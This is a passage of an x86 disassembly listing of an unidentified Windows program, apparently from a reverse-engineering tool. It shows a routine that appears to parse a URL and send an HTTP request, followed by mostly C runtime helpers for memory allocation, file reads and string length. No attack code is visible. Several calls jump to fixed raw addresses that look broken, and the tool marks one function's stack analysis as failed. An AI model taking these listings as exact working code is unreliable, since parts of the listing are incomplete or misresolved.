var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB72C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB508
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A86C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A864
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A860


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A85C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A818
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A94C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB540
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB5F4
		call	dword_4CB618
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB60C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5B8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A930
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A8F4
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8D8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8AC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A87C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB678
		push	[ebp+var_4]
		call	dword_4CB678
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 2700B29h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27E0000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27F0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2890000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9CC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9C4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27F0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2890000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9CC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2890000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9CC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9CC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9C4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27F0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
